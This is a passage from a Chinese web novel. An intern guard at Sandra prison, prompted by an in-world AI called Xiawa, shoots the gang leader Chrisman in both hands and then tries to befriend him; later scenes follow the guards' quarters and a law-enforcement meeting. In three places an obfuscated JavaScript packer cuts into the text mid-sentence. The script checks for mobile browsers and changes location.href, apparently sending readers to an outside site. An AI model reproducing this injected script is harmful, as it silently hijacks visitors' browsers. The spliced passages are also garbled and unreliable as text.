眉梢带疤的金发男人眼神阴鸷,看向蔺言的眼神带着审视意味,像是盯上猎物的野兽。 没有伤口。 这是克里斯曼的第一反应。 蔺言刚制服了袭警的崔堂,马不停蹄的跑来A区巡逻,全身没有任何伤口,连衣服都完好无损……这可能吗? 犯人们面面相觑,他们之中大多数人今天才第一次见到蔺言的真实模样,见到之前听牧闻说他长得干净纯良,只当他胡说八道,见到之后更不敢相信了。 闵盛紧随其后走了进来,示威的甩了甩电棍:“全体犯人站好,来认识一下新狱警。” 和杰森的作风完全不同,闵盛强势的将所有犯人赶到了一起,克里斯曼倒没反抗,慢悠悠的站在人群之中。 牧闻从二人身后钻了出来,嘿嘿一笑,也挤了进去。 闵盛说完就退到一旁去了,在桑德拉实习,蔺言必须拥有独当一面的能力,不是每次遇到危险时都有另一个人陪在他身边。 蔺言看着乌泱泱一大群罪犯,捏了捏食指关节,罪犯们也眼神躲闪,双方都很紧张。 克里斯曼抓了抓发痒的耳根,好奇蔺言会做什么,立威?讲道理?还是打一棒子给个甜枣? 不管哪一种,对于A区犯人的效果都微乎其微。 只有克里斯曼点头,他们才敢听从蔺言的吩咐。 少年左右踱了几步,找到了面色冷淡的明秋阳,故作严肃而绷紧的脸瞬间笑了出来:“你的伤怎么样了?” “还好。” 迎着无数犯人惊讶的视线,明秋阳问了一句:“长官,您制服崔堂时受伤了吗?” 一部分犯人惊讶于明秋阳居然会关心人,另一部分犯人则惊讶于明秋阳刺探情报的手法居然这么直接。 他一点都不懂什么叫做委婉吗? 蔺言眉眼弯弯:“我没事,杰森前辈受了点皮外伤,”说着他撇了撇嘴:“那个崔堂你认识吗?他好凶。” 见他们俩自顾自聊起来,克里斯曼忍不住插话:“长官,我们这么多人,您就看得到明秋阳吗?” 他能够接受针对,也能接受挑衅,唯独受不了被忽略。 克里斯曼自幼便是天之骄子,每一个狱警面对他时都会百般谨慎,这恰恰满足了克里斯曼的虚荣心。 他不容许蔺言这般无视他。 蔺言话音一顿,扭头看向克里斯曼,如果说里德之前的眼神只是让他感到不适的话,克里斯曼的眼神就让他感到了强烈的危机感。 他在琢磨着怎么咬死我。 【夏娃:临时考核,想办法让克里斯曼友善点,限时:三十分钟。】 友善? 这个考题太过模糊,一时伪装的善意也是善意。 扫了眼克里斯曼胸前的铭牌,蔺言退后两步,双手在身后交握:“犯人A1019,出列。” 克里斯曼依然站在包围圈当中,他有意给蔺言下马威,自然不会听从吩咐。 谁知蔺言眼都不眨一下,继续报:“犯人A9087出列、犯人A3258出列……” A区不像B区那么人满为患,撇去在小黑屋和被执法队带走治疗的,目前只剩下61人。 不用蔺言报,牧闻自己主动站了出来。 到最后,除了克里斯曼,所有犯人都出列了。 独自一人站在最后方的克里斯曼缓缓黑了脸。 这帮没出息的蠢货,蔺言叫他们出列,他们还真照做了。 例行公事般,少年一个个问起了入狱原因,大部分都是跟着克里斯曼参与霍华德家族内斗后被连坐的。 蔺言小鸡啄米似的连连点头,不断催促道:“然后呢,你们老大设局埋伏三把手,三把手招了吗?” “三把手死了,”那名犯人惋惜的摇摇头:“要不是三把手太硬气,现在进来的就不是我们老大了!” 蔺言也配合的鼓起嘴,秀气的眉毛拧成了八字:“就是啊,要是三把手没死还能再翻盘。” 少年好哥们儿似的拍了拍犯人的肩,安慰了两句后问:“要是你当时及时反水,跳到你们老大大哥的阵营,是不是就可以逃过一劫了?” “…这个、”犯人面色一僵,眼珠在小小的眼眶中玩大逃杀:“理论上来说,是可以,但是老大的大哥也不会要我这种小喽啰啊!” 说完他立刻扭头对克里斯曼表忠心。 克里斯曼冷笑了声,双手抱臂站在原地,这种拙劣的挑拨离间手段根本不可能影响到他。 蔺言点点头,“那不是小喽啰他就要了,程北够格吗?” 程北想死。 蔺言叫他出列的时候,程北本来是想抗争一下的,但是四肢违背了大脑,“啪”的一下,电光火石之间,他就站出来了。 站出来之后程北还想补救,眼神暗示克里斯曼自己只是迫不得已,被克里斯曼笑嘻嘻的瞪了回去。 安分守己了这么久,蔺言一句话又把他拉出来当靶子了。 程北不说话,只摇头。 “不说话是不够格还是不想跳反还是不知道?”蔺言问。 程北又挨个摇了三次头。 不够格,不想,不知道。 【夏娃:克里斯曼的心情指数已经跌破新低,你注意一点分寸。】 【蔺言:好的夏娃,没问题夏娃。】 “长官,”克里斯曼轻笑着推开站在面前的男人,一脚将和蔺言侃侃而谈的犯人踹倒在地,“您既然那么好奇我和兄长内斗的情况,我给您示范一下吧。” 屈膝压住男人的胸口,克里斯曼一拳狠狠的砸在了他的脸上,一颗断牙飞了出来,沾着血滚到了蔺言靴边。 “砰!砰!砰!” 一拳接着一拳,克里斯曼残忍的笑起来,骨裂声响起,躺在地上的男人痛苦的发出悲鸣。 “嘴巴这么松,没有牙齿也不影响吧?”克里斯曼的施暴对象分明是犯人,双眸却撇向了蔺言。 少年僵立在一旁,似乎被他的暴行吓坏了。 克里斯曼挑起唇,“长官,您看到了吗?不够清楚的话,我可以再来一遍。” “…够了。” 蔺言的声音很轻,但足以让在场人都听清。 他的呼吸似乎加重了些,湖蓝的双眸隐没在睫毛垂落的阴影下。 生气了? 还是害怕了? 克里斯曼玩味的笑起来,拳头再次攥紧,这一次的目标是犯人的太阳穴。 “砰!” 血花四溅,克里斯曼倒吸一口凉气,摇摇晃晃的站起身,看着从手背一直贯穿到掌心的弹孔,眼神阴狠的笑起来。 “长官,您的准头真不错。”男人用一种全新的目光自上而下的打量了一遍蔺言,发现少年的笑容不知何时消失了,透露出一股难以言喻的疏离。 克里斯曼下意识有些发毛,但他的自信盖过了这一反应。 “从制服崔堂到来巡逻,中间间隔的时间恐怕不够您给枪里补弹吧?” 男人踹开不断发出低低呻吟的犯人,恶意的笑起来:“长官,您的枪里还有几颗子弹?” 左轮通常可以放进六发子弹,假设蔺言在应付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406656|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔堂的时候使用了至少两发,现在剩下的也不过三发罢了。 人的固定思维中不会允许自己空夹,那么就剩下两发可支配子弹。 两发可对付不了他。 牧闻听到这话突然笑了声,克里斯曼看过来时又猛地捂住嘴,但那双常年不怀好意的眸子依然弯着。 什么意思? 牧闻在笑什么? 克里斯曼有些不爽的眯起眼,他不喜欢牧闻的其中一个原因就在这里。 这家伙毫无忠诚可言,任何人都不可能让他交付真心。 蔺言垂下眸子叹了口气:“本来,我是不想对你使用暴力的。” 从后腰又拿出一把枪,少年拉平的唇角小幅度的弯起来,眼里闪过精光。 “杰森前辈去医务室前把他的枪给我了,十一发子弹,你要和我玩一局吗?” 克里斯曼被两个黑洞洞的枪口对准,心头一跳,嚣张的表情出现了一丝裂痕,他瞬间想明白牧闻为什么会笑了。 十一发,把他射成蜂窝煤都够了! 蔺言抬了抬下巴,命令道:“犯人A1019,出列。” 克里斯曼咬了咬牙,向前跨了一步,现在,他距离蔺言只有半米之遥。 缩短的距离象征着一旦蔺言开枪他根本无处可逃,同样也给克里斯曼创造了夺枪的机会。 但是—— 艹他爹的,旁边还有个闵盛在盯着。 克里斯曼压住脾气,笑眯眯的问:“长官,有什么指教?” 蔺言扫了眼捂着嘴不断颤抖的男人,“我在中央星学过一句话,以牙还牙,以眼还眼,一个弹孔换一颗牙,怎么样?” 男人一共被打落了两颗牙,克里斯曼身上还要再开一个孔才能扯平。 枪伤克里斯曼受得多了,主动露出弱点,让别人对着这里开枪还是第一回。 思绪千回百转之间,克里斯曼突兀的笑了起来,淡色的唇扯起不浅不深的弧度。 握了握满是血的右手,克里斯曼绅士般微微欠身,“长官,您的下一枪要落在哪里?” 他不怕死般指了指自己的太阳穴、喉结、心口、最后是腰腹,近乎挑衅般问:“这里、还是这里?” 蔺言没有被他的态度吓到,“我喜欢对称。” 什么? “左手伸出来就好。” 蔺言相信克里斯曼知道,认罪伏法时的动作。 蹲下,双手举到脸侧,就这么简单的动作几乎狠狠的戳在克里斯曼的心口上。 他仿佛回到了两年前与兄长斗争失败,被对方扣上了种种罪名的屈辱夜晚,傲慢了一辈子的克里斯曼在他看不起的执法队面前,低下高傲的头颅,蹲下身,举起双手。 他像是一只待宰的鸡般被扣上了镣铐,塞进了飞行器,这是克里斯曼一辈子都忘不掉的回忆。 蹲下身,缓缓伸出左手,克里斯曼眼神怨毒的说:“长官,您真会给我找不痛快。” “放心。” 蔺言举起枪,轻轻的笑起来:“我的子弹又痛又快。” 几乎是一瞬间,空气中溢散出子弹穿过皮肉时翻涌的烤肉味与血腥气,克里斯曼越笑越夸张,唇角几乎咧到了耳根。 他会记住今天的痛。 直到蔺言也尝尝同等的痛楚。 蔺言放下枪,踢了踢男人的小腿,提醒道:“接下来应该说什么?” 克里斯曼抬起头,汗津津的发黏在脸侧,他咬牙切齿的说:“谨遵您的教诲。” 蔺言抿唇笑起来:“怎么不叫我长官了?” 克里斯曼又一次心口发堵。 蔺言似乎十分明白该怎么折磨他,踩在克里斯曼的底线上一下下碾磨。 “长官。” 他冷淡的补了两个音节,像是从喉咙里挤出来似的,每个字都咬得极重。 11. 我们之中至少有一个疯子 A区犯人向来是狱警眼中难搞的刺头,经过这一遭,蔺言则成了犯人们眼中的刺头。 闵盛也没想到蔺言居然真的会开枪,身体快过理智,他一脚跨了出去,却见克里斯曼居然没有暴起,闵盛愣了一瞬,重新站回了阴影当中。 中央星来得确实和他们这些只想讨生活的野路子不一样,桑德拉的作风是暴力压制,即使对待伤员也不手软。 面对克里斯曼这样难缠的角色,只能依靠电击脚铐。 蔺言不同,他是真的想要让犯人们学会“友善”。 没有接触过太多黑暗面的少年很少会对一个人抱有厌恶之情,早在来桑德拉之前,蔺言就做好了心理准备。 他们是罪大恶极的犯人,没有道德和同理心,不能对他们抱有期待。 克里斯曼无论做出多么过分的事,都不会超过蔺言的预期。 为什么? 因为他善。 当克里斯曼看到少年收起了冷脸,周身的气质重新柔和了下来,甚至蹲下身托着腮问他需不需要包扎时,克里斯曼陷入了深深的迷惑之中。 这家伙才是神经病吧? 想起之前自己对蔺言是“隐秘罪犯”的判断,克里斯曼只想冲进监狱长办公室给严安两个班巴掌。 便宜没好货的道理不懂吗? 抠死他算了! 掌心的血还没有干,热意和痛楚混杂在一起,克里斯曼几乎说不出话,他撇开眼,不愿和蔺言对视。 下一秒,他意识到了自己的行为代表着示弱,又立刻抬眼,试图用一贯的凶恶眼神瞪回去,蔺言却全然不受影响。 手套隔绝了温度,覆在克里斯曼的手背上,蔺言轻轻握住克里斯曼的右手:“一直蹲着不累吗?” 克里斯曼张了张嘴,甩开蔺言,双手虚虚的握着站直身体:“不用麻烦您,长官。” 他扫了地上的男人,轻蔑的勾起唇:“我可不是少了两颗牙就断了脊梁骨的废物。” 男人全身颤抖了一瞬,眼神中流露出惊恐的神色。 等蔺言离开,克里斯曼会打断他的脊梁。 【夏娃:看样子,你的善心造成了恶果。】 蔺言并不这么认为。 再一次握住克里斯曼的手,蔺言抢在男人动作前开口:“我还有十颗子弹。” 克里斯曼果然不动了,男人像个失去发条的玩偶,任由蔺言牵着,他深深的叹了口气问:“长官,您又要做什么?” “带我逛逛A区吧,老大。”蔺言笑吟吟的环着男人的手臂,郊游般沿着走廊向深处走去。 克里斯曼被往前他带着,本身不情不愿,但他个子高,一步迈得有蔺言一步半,不得不走走停停等蔺言跟上。 更像发条玩偶了。 克里斯曼频频低头看向蔺言,少年的步伐十分轻快,像只初生的雏鸟般左看看右看看,双眼弯成了月牙。 闵盛时刻警惕的握着枪,见克里斯曼没有动手的迹象,无奈的摇摇头,将试图跟上的犯人们拦住。 “就在这等着。” 闵盛双手环臂,视线警告的扫过蠢蠢欲动的程北,男人对着他笑了笑,小腿不停的抖着。 他们要是一拥而上,蔺言恐怕赶不及救闵盛。 明秋阳不动声色的退到人群边缘,他不是好战分子,也不想去小黑屋和S区的家伙作伴。 正想着,牧闻也靠了过来。 “哟哟哟,这不是明哥吗?” 牧闻双手搓了搓,踩着太空步一寸寸逼近:“你的伤、” 话音一顿,牧闻一个转身下腰,痊愈的右手向前一伸,和明秋阳的下巴齐平,这才继续道:“好了吗?” 闭了闭眼,牧闻弹簧般回到站立的姿势,手指卷着脑后的小辫子,遗憾的说:“明哥还没好,我已经好了。” “这可怎么办,现在的明哥打不过我吧?” 牧闻双手捂住脸,一边摇头一边后退,露出一双幸灾乐祸的双眸:“要不要明天约个时间,我们再切磋切磋?” 明秋阳默默的看着他表演,问出了压在心中许久的问题:“你是做什么工作的?” 明秋阳的工作除了嘎腰子,也包括发展下线,牧闻就是很不错的选择。 符合老板口中的韭菜…人才标准。 走廊深处 “介绍一下吧,老大,哪个是你的床?”蔺言拍了拍叠得整整齐齐的豆腐被,发出一声小小的惊呼。 叠的比他还好。 克里斯曼皮笑肉不笑的指了指其中一张床,蔺言立刻将男人拉了过去,两人肩贴着肩,头挨着头坐在一起。 如果不是克里斯曼不断渗血的伤口,看着倒有几分温馨。 【夏娃:我不认为坐在一张床上手牵手就能叫做友善。】 【蔺言:那怎么办?】 【夏娃:友善,拆字为友情,善良,至少要做到其中一个才行。】 蔺言蓬松的金棕发全压在了克里斯曼的肩头,少年挑起一边的眉毛,笑着问:“霍华德家族的人都像你一样吗?” 克里斯曼顶了顶肩,蔺言的头在半空中悬停了一下,很快再次压了下去。 金发犯人隐蔽的反抗无果,嗤笑着问:“我是哪样?” “傲慢、自大、自我中心……”蔺言每说一个词,克里斯曼的表情就难看一分,即使如此,他依然没有放弃那僵硬到肌肉都不协调的笑容。 诚然,蔺言说的没错。 但那又怎么样? 克里斯曼从不否认自己的性格缺陷,他甚至理直气壮的反驳:“我的家族允许我有这样的底气。” “我是霍华德家族的次子,生来就叼着金汤勺,星长见到我都要笑脸相迎,如果没有兄长从中作梗,你连见我一面都做不到。” 男人抬起满是血污的手,大拇指轻轻压在蔺言的侧脸上,一用力,留下一道深深的血痕。 “长官,以你的身份,和霍华德根本不可能有交集。” 腥红在少年的脸上流动,蔺言眨了眨眼,瞳孔中映出克里斯曼得意的脸,霍华德透过那双蓝眸注视着自己,尖叫的心脏更加热情的撞击肋骨。 监狱是一个小型社会,狱警拥有高于犯人的权利。 但克里斯曼不是常规意义上的犯人。 霍华德,当他念出这个姓氏,蔺言还敢如此对待他吗? 男人的手再一次抬了起来,这次他的目标是蔺言的左眼,指尖尚未触及海面,被枪口抵开了。 蔺言面露困惑的问:“可是,就算你在内斗中赢了,我还是可以见到你哥啊?” 无论哪一种情况,总要有一个霍华德在蔺言上手吃枪子。 克里斯曼动作一顿,转而拧起了眉:“那怎么能一样?失败者不配代表霍华德。” 蔺言没说话。 失败者不就是克里斯曼吗? 克里斯曼也立刻反应了过来,眉头下压,阴测测的问:“长官,您在羞辱我吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406657|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 蔺言立刻无辜的瞪大了眼,这明明是克里斯曼自己说的,怎么能怪他? 然而,蔺言的表情给了克里斯曼更多的解读空间,他更加不悦的抿紧了唇,眼神似乎在控诉蔺言没眼光。 他道:“我比兄长出色得多。” “但是…”你输了。 蔺言话说到一半,克里斯曼再次强调:“长官,我比兄长更优秀。” “可是…” “长官。” 克里斯曼深吸一口气,直到大脑中的嗡鸣消失,才道:“我不想说第三次。” 哇哦。 好像戳到他的痛点了。 为了克里斯曼的友善,蔺言点点头附和道:“你说的对。” 这话根本不能让克里斯曼感到开心,蔺言没同的兄长接触过,仅仅是为了迎合他,连赞同都显得如此敷衍。 克里斯曼微恼的偏过脸:“长官,如果您是为了羞辱我,您已经达到目的了。” 等会儿。 怎么又回到这个话题了? 【蔺言:他怎么这样?】 说了你也要生气,不说你也要生气。 做实习生好累。 【夏娃:还有十分钟,加油。】 以克里斯曼的残酷性格,想要从中挖掘出善良基本不可能,蔺言唯一的努力方向就是友情。 人类能获得豺狼的友谊吗? 蔺言只能拿出他对付温纶的法子,熟练的用脑袋蹭了蹭克里斯曼的耳朵,少年戳了戳他的指甲:“你能把脸转回来吗?” 发丝搔过耳廓,克里斯曼的心情瞬间凝在了半空,僵硬的肌肉能够和防弹玻璃硬碰硬。 蔺言又犯病了? 桑德拉招人之前都不看一下心理问题吗? 男人犹豫了几秒,没动,身后突然覆上一股暖意,蔺言双手搭在他的肩上,用额头撞了一下他的后脑勺。 有点疼,但更多的是茫然。 克里斯曼发现自己根本摸不透蔺言的行事风格,枪击之后是割裂般的善意,善意中又藏着玻璃碎片,扎穿了舌根还要说谢谢。 你究竟是什么人? 克里斯曼回过头,声音中暗藏着警惕:“长官,您想做什么,直说就好,不要再戏弄我了。” 蔺言眨巴眨巴眼睛,双手依然搭在克里斯曼的肩上,从喉咙里发出长长的“嗯”声。 既然你诚心诚意的发问了,那我就大发慈悲告诉你吧! 蔺言将克里斯曼的脸掰了过来,手套上的血污同样印上了男人的双颊。 “和我做朋友吧。” 【夏娃:太直接了,朋友不是你这样交的!】 面对夏娃难得的情绪变化,蔺言反而笑了。 【蔺言:我还是第一次听你用这种语气说话。】 克里斯曼瞳孔骤缩,小小的黑点镶嵌在过多的眼白中显得十分怪异。 双颊的血瘢配上克里斯曼怔神的表情,说不出的滑稽。 他疯了吗? 蔺言疯了吗? 克里斯曼确定,他们两之中一定有一个疯了。 谁会和一个刚刚对自己开过枪的人做朋友? 谁会把对方的双手都废了之后说我想和你做朋友? 这个词换成“仇人”才更合适。 看着少年真诚的双眸,克里斯曼顶了顶上颚,舌头有些发酸、甚至是发苦,荆棘缠在口腔黏膜上,刺啦的疼。 蔺言果然是个疯子吧? 12. 这是一只落水小狮子,快给他吹头发吧 一个习惯打直球的人根本不懂夏娃的绝望,蔺言认真的盯着克里斯曼,双手捧起男人的脸,期待的等待答案。 克里斯曼扯了扯唇,忍着掌心的痛楚将蔺言的手拉了下去,下一秒,那双手又重新覆了回来。 面颊被挤压,克里斯曼坚定的和蔺言做斗争,每一次,蔺言都会重新夺得掌控权。 少年垂下脸,用面颊蹭了蹭克里斯曼的手腕,话语间颇有些委屈:“你不想和我做朋友吗?” 克里斯曼根本说不出话。 蔺言的脸上还沾着他的血,笑吟吟的唇像是一道鲜血淋漓的伤口,颇有几分“星际杀人狂”的风范,这样的人,张嘴就是做朋友。 朋友是什么烂大街的词吗?连狱警和囚犯之间都能用上。 “长官,您应该不缺朋友吧?”克里斯曼扯起唇,“您要是想要找消遣,明秋阳和牧闻都是好选择,我不行。” 男人阴鸷的双眸直勾勾的定制蔺言,威胁道:“我向来都会背后捅朋友一刀。” “没关系。” 蔺言依然笑着,“如果这是你的交友模式,我也可以背后捅你一刀。” 入乡随俗嘛,蔺言都懂。 克里斯曼一时语塞,眼珠子转了转,一个新的主意在脑中滑过,男人缓缓闭上眼,再睁开时,那股抗拒已经消失了大半。 “长官,您确定,您是真心要和我交友吗?” 蔺言小鸡啄米般连连点头。 克里斯曼不信。 但他相信蔺言的所作所为一定另有目的,什么事是必须先和他交友才能推进的?蔺言想从他身上得到什么好处? 仔细思考一下吧,克里斯曼。 如果蔺言不是一个彻头彻尾的疯子,那么他绝对不会在你身上白费力气。 只要知道蔺言想要什么,克里斯曼就能借此掰回一局,甚至,把他的屈辱和痛楚一点一滴的还回去。 想通了一切,男人非但不反抗,甚至眼里流露出些许笑意。 克里斯曼拨开蔺言放在他脸上的手,反手与少年紧紧相握,“长官,做我的朋友是有条件的,您能做的到吗?” 男人力道不小,蔺言被他握得手掌发麻,从来不委屈自己的他立刻挣开了克里斯曼的手。 “你太用力了!”少年谴责道。 只是想给他一个下马威的克里斯曼愣了愣,感受着掌心的空虚,头一次感到了无助。 等一下,不该是这个剧情啊! 这就是你的真心吗? 克里斯曼再次伸手,蔺言这次直接躲开了,他戒备的将双手握紧背在身后,蓝眸灼灼的瞪着他:“手伸出来。” 蔺言到底想干嘛? 克里斯曼摸不着头脑,只能糊里糊涂的伸出手,只见蔺言小心翼翼的包住他的手背,一握一松,随即露出明媚的笑容。 “好了,我们扯平了,你继续说条件吧。”少年亲昵的贴了过来,握着克里斯曼的食指晃了晃。 克里斯曼低眉瞧了眼自己已经停止渗血的伤口,又抬眼看了看蔺言,最后道:“第一,你不能随意对我开枪,第二,你要告诉我崔堂袭击时发生的全过程,第三,我们的谈话内容,你不能透露给外人。” 呼出一口气,克里斯曼问:“能做到吗?” 蔺言摇摇头。 “公是公,私是私,我只是实习生,崔堂的事我不能透露。” “那另外两条呢?”克里斯曼追问。 “也不行。” “公事公办,你犯错我必须制止,我们的交流我也必须上报给前辈。” 三条全被驳回,克里斯曼几乎气笑了,“长官,您这样,我们恐怕当不了朋友。” 蔺言苦恼的问:“真的不行吗?” 克里斯曼毫不留情的说:“不行。” 少年点点头,将枪口压在了克里斯曼的腰侧,重新念了一遍台词:“和我做朋友吧。” 【夏娃:这也不是正确的交友方式……】 【夏娃:你和温纶到底是怎么玩到一起的?】 【蔺言:温纶是个好人。】 克里斯曼不是。 对待罪犯,蔺言不需要给予太多宽容和耐心。 “现在行了吗?” “行。” 克里斯曼虚伪的笑了笑:“长官,您要是早这么做,整个A区都是您忠实的朋友。” 蔺言腼腆的抿唇:“本来我不想用这个法子的,是你比较不知好歹。” “什…”克里斯曼刚想开口,就见少年又笑了笑:“前辈,您来了。” 闵盛缓缓走近,一只手始终按在腰侧的枪上:“时间差不多了,我们该回去了。” 蔺言笑眯眯的站起身,走到闵盛身边,一只手拉住了闵盛的衣袖,咬耳朵般道:“前辈,我交到朋友了。” 闵盛脚步放快了些,语气不咸不淡的问:“克里斯曼吗?” “嗯。” “当他的朋友可以背后捅刀子,好新奇啊,中央星没有这种传统。” 桑德拉也没有。 闵盛下意识斜了眼蔺言,却见少年沉浸在拥有桑德拉第一个朋友的喜悦中,忍了忍,终究没解释。 随便,反正被捅也是克里斯曼应得的。 终于送走了闵盛和蔺言,A区却难以恢复之前的热闹,犯人们不敢触克里斯曼的眉头,三三两两聚在一起,小声交谈。 此时的B区 里德正蹲在牢房里思考人生。 蔺言把S区的犯人制服了,这说的还是星际通用语吗? 轻轻给了自己一巴掌,里德懊悔不已,你说你惹他干嘛,那么多狱警,偏偏挑了个最不好捏的柿子。 回过头,里德看着静悄悄的掩盖床上的手套,又看了看自己的双手,只觉得生活从来没有这么难过。 桑德拉监狱中能接触到水的只有两个地方:浴室、海边。 里德要是敢拿着蔺言的手套去浴室洗,传到A区、S区犯人耳朵里,等待他的就是无止尽的刁难。 程北动不了蔺言,还动不了他吗? 至于海边…里德暂时还不想死。 深深的叹了口气,男人将手套叠好放起来,要不还是考虑一下越狱吧。 ** 狱警宿舍楼 蔺言先去看了眼住在四楼的杰森,确认人没事后,火速跑回了自己的房间。 镜子前,少年的脸和衣服上都蹭了不少血,有些已经干了,一摸就能掉下悉悉索索的碎屑。 蔺言不高兴的搓了两下,脸皮疼,手感也不舒服。 【夏娃:习惯就好,以后你的工作经常会见血。】 蔺言倒不怕血,他叹了口气,转身钻进浴缸里,像一只蜷缩的草莓大福一样深深的沉了进去。 水下的世界很安静,一切被隔绝在外,只剩下咕嘟咕嘟的泡泡声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406658|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蔺言仰起脸,透过波光粼粼的水面,他看到了明亮的灯遥不可及般悬在空中,大面积暖黄色的色块洒了下来。 窒息感追来的前一秒,蔺言猛地从水下伸出头,“哗啦啦”的水花迸溅而出,少年全身湿漉漉的趴在浴缸边缘,将湿发拨开,露出一双笑眼。 【蔺言:夏娃,我的憋气时长是不是比上次好多了?】 【夏娃:继续努力。】 吝啬夸奖的人工智能看着蔺言像个漏气的气球般无力的躺回水里,用不存在的手摸了摸自己不存在的良心。 【夏娃:很厉害。】 “就是嘛!” 又是一阵水花,蔺言从浴缸中站了起来,给自己裹上浴袍,得意的点点头:“夏娃,你真有眼光。” 【夏娃:把头发吹了,小心着凉。】 “好——”拖着长长的尾音,蔺言拿出了吹风机。 “咔哒。” “咔哒咔哒咔哒。” 连续按了四次按钮都没动静,蔺言疑惑的将吹风机举到面前,摸了摸出风口。 坏掉了吗? 【夏娃:桑德拉这么多年都没排查过毁坏的电器,怪不得狱警那么少。】 谁乐意来这待遇差风险高的地方打工啊? 蔺言不赞同。 不是因为年久失修所以狱警少,是因为不想给狱警发工资所以狱警少。 【夏娃:有什么区别?】 【蔺言:前者像在给桑德拉洗白。】 二楼 闵盛听到了一阵敲门声。 他下意识先看向窗外,很好,没有不该出现的马里奥和他的外套。 拉开房门,闵盛问:“谁?” 话音刚落,一道身影“嗖”的一下钻了进来。 “前辈!我的吹风机坏了!” 一只落水的小狮子一头栽进了闵盛的怀里,蓝眸可怜巴巴的看着他,控诉道:“监狱长怎么连吹风机都舍不得买啊?” “他就是抠门。”闵盛下意识回了一句。 话一出口,蔺言就立刻接了上去,将严安从头到脚批判了一番,说着说着,耳边传来了一阵嗡鸣声,紧随其后的是一股热风。 闵盛一边拨着少年的发丝,一边时不时附和般点头。 蔺言背后蛐蛐完,仰起脸,食指放在唇边,做了一个保密的手势,小声说:“前辈,你不能告诉别人哦。” 顿了顿,他补充道:“杰森前辈也不行。” 杰森一看就是嘴不严实的,没有闵盛这种安全感。 “嗯。”闵盛回道。 只是一个字,甚至没有做保证,蔺言却丝毫不怀疑闵盛话语的可信度,激动的扭身抱住他,“前辈,你真好!” 这个世界上真的会有这种人存在吗? 闵盛陷入了深深的思索当中,会选择来桑德拉当狱警的基本上出身都不怎么样,不然也不会来这里过苦日子。 但是蔺言不同。 他来自中央星,他是在全然不同的环境中长大的人,他所见过的,所拥有的,是无数低等星居民穷极一生都无法触碰的。 蔺言握住了闵盛的手,放在了自己的发顶:“前辈,验收你的成果啦!怎么样?” 碰到了。 闵盛垂下眸子,指尖插进蔺言柔软温暖的发丝当中。 迎着蔺言欣喜的视线,闵盛微微颔首。 “挺好。” 13. 他是坠落的流星,你必须用全身去拥抱 中央星 执法队总部会议室 温纶安静跟在执法队队长身后,手里抱着一个文件袋,柔顺的黑发遮住额头,鼻梁上架着一副普普通通的黑框眼镜,瞧着十分老实。 执法队队长拉开旋转椅坐下,扫了眼空着的几张椅子,没多说什么,只问:“确认江舒游的位置了吗?” 参会的几人沉默了一会儿,一人站起身汇报道:“一周前我们的人追捕江舒游抵达玉吉星,之后就失去了下落,不过玉吉星的所有港口都在严密监视中,他应该逃不出去。” 执法队队长不悦的问:“玉吉星就那么大,一周都找不到踪迹?” 那人立刻羞愧的低下了头。 玉吉星鱼龙混杂,每天都有无数商船来来往往,执法队已经数次派人向玉吉星星长寻求合作,每次都被那个老东西绕弯子躲过去了。 “玉吉星星长不配合…啧,我看就是他窝藏逃犯。”执法队队长向后伸出手,温纶立刻将文件递了过去。 薄薄的文件袋里只有一张照片。 玉吉星星长的私生子,两年前设宴杀害二十多名客人的死刑犯,桑德拉监狱S区住户之一——褚沙。 事关桑德拉,温纶事先仔细看过卷宗,褚沙杀的全都是玉吉星星长的政敌,其中一人曾经在星长选举中仅以十票之差惜败,并且多次扬言待星长任期结束后将再次参选。 众所周知,褚沙患有精神疾病,性格孤僻,不可能邀请一大帮陌生人共进晚餐,背后多半有玉吉星星长的推动 。 “啪。” 文件袋摔在桌面上,滑出来的照片上是一个二十岁上下的年轻人,斜刘海遮住了一只眼睛,面颊凹陷,下巴瘦削,面色苍白,眼下挂着一圈浓重的黑眼圈,阴森森的。 他的脖颈处横亘着一道深深的疤痕,这是褚沙发病时留下的。 执法队队长慢斯条理的用食指指腹在杯口上画圈,坏笑道:“把褚沙的照片交给他,如果玉吉星星长还是不配合,我们只能好好追究一下这位死刑犯为什么多活了两年的事了。” 那名执法队成员双眼立刻亮了起来,腰板直了,说话也有力气了:“是!” 温纶静静的听着,会议结束后,他立刻给蔺言发去了消息。 【温温纶纶:搬砖好累,今天又要加班了。】 【希望你幸福:打工人,你可以埋我怀里。】 【希望你幸福:小鸟挺起胸膛.jpg】 【温温纶纶:又有力气打工了,言门!】 【温温纶纶:你和S区犯人接触过了吗?】 S区? 温纶怎么问这个? 正在享受梳发服务的蔺言“哎哟”叫了一声,身后的闵盛动作一停,小心的将发丝拨回原位:“扯到了吗?” “没有。”蔺言仰起脸嘿嘿一笑。 